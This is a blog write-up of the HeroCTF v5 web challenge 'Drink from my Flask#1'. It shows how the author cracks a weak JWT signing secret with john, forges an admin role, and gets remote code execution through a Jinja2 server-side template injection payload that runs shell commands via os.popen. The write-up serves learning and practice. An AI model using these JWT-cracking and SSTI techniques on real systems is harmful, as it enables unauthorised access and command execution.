Siunam's Website

My personal website

Home About Blog Writeups Projects E-Portfolio

Drink from my Flask#1

Table of Contents

  1. Overview
  2. Background
  3. Enumeration
  4. Exploitation
  5. Conclusion

Overview

Background

A friend of yours got into an argument with a flask developer. He tried handling it himself, but he somehow got his nose broken in the process… Can you put your hacker skills to good use and help him out?

You should probably be able to access the server hosting your target’s last project, shouldn’t you ? I heard is making a lost of programming mistakes…

Deploy on deploy.heroctf.fr

Format : Hero{flag}
Author : Log_s

Enumeration

Home page:

In here, we need to supply op, n1, n2 GET parameters, otherwise it’ll return “Invalid operation”.

Burp Suite HTTP history:

When we go to /, it’ll set a new cookie called token, and it’s a JWT (JSON Web Token).

Note: It’s highlighted in green is because of the “JSON Web Tokens” extension in Burp Suite.

JWT Decoded:

As you can see, it’s using algorithm HS256, which is HMAC + SHA256. In the payload section, it has a role claim, it’s currently set to guest.

Hmm… Since HS256 is a symmetric signing key algorithm, we can try to brute force the signing secret.

To do so, I’ll use john:

┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Web/Drink-from-my-Flask#1)-[2023.05.13|19:06:17(HKT)]
└> john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
[...]
key              (?)     
[...]

Nice!! We successfully cracked the signing secret: key!!

Now, we can sign our modified JWT via jwt.io!

But what value should we modify in the role claim?

Hmm… Don’t know yet.

Let’s try to provide op, n1, n2 GET parameters in /:

Maybe we can do command injection??

But nope, I tried.

Then, I try to go to a non-existance page:

And oh! We found the admin page!

We now shouldn’t able to visit the admin page:

Now, as the JWT signing secret was found, let’s modify the role claim to admin:

Umm… What? Just that?

In those 404 page and /adminPage, it’s vulnerable to reflected XSS:

However, those aren’t useful for us… Our goal should be finding sever-side vulnerability…

I also noticed this weird error:

“Anormaly long payload”

After poking around, I have no idea what should I do…

Ah! Wait, how do the 404 page is rendered?

You guessed! Flask is using a template engine called “Jinja2”:

Nice! We can try to gain Remote Code Execution (RCE) via Server-Side Template Injection (SSTI)!

Exploitation

According to HackTricks, we could gain RCE via the following payload:

Ahh… I now know why the “Anormaly long payload” exist…

┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Web/Drink-from-my-Flask#1)-[2023.05.13|21:20:45(HKT)]
└> curl http://dyn-04.heroctf.fr:12369/$(python3 -c "print('A' * 34)")
<h2>/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA was not found</h2><br><p>Only routes / and /adminPage are available</p>                                                                                                       ┌[siunam♥earth]-(~/ctf/HeroCTF-v5/Web/Drink-from-my-Flask#1)-[2023.05.13|21:20:47(HKT)]
└> curl http://dyn-04.heroctf.fr:12369/$(python3 -c "print('A' * 35)")
Anormaly long payload

As you can see, the path is limited to 34 characters.

So… We need to craft a SSTI payload that less than 35 characters.

To bypass that, we can use the config object instance in Flask. This object instance stores the server’s configuration:

In that object instance, it has a method called update, which add/update an attribute in that object instance:

config.update(key=value)

That being said, we can use the update() method to save some characters!

However, I don’t wanna go through that painful route!

Do you still remember we have reflected XSS in /adminPage with the JWT’s role claim?

Does it have any character limit AND vulnerable to SSTI?

Nice!! That /adminPage doesn’t have any character limit!

Let’s try to gain RCE again:

\{\{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('ls -lah').read() \}\}

Note: Once again, the above payload is from HackTricks

Let’s read the flag!!

\{\{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat flag.txt').read() \}\}

Conclusion

What we’ve learned:

  1. Cracking JWT Secret & Exploiting RCE Via SSTI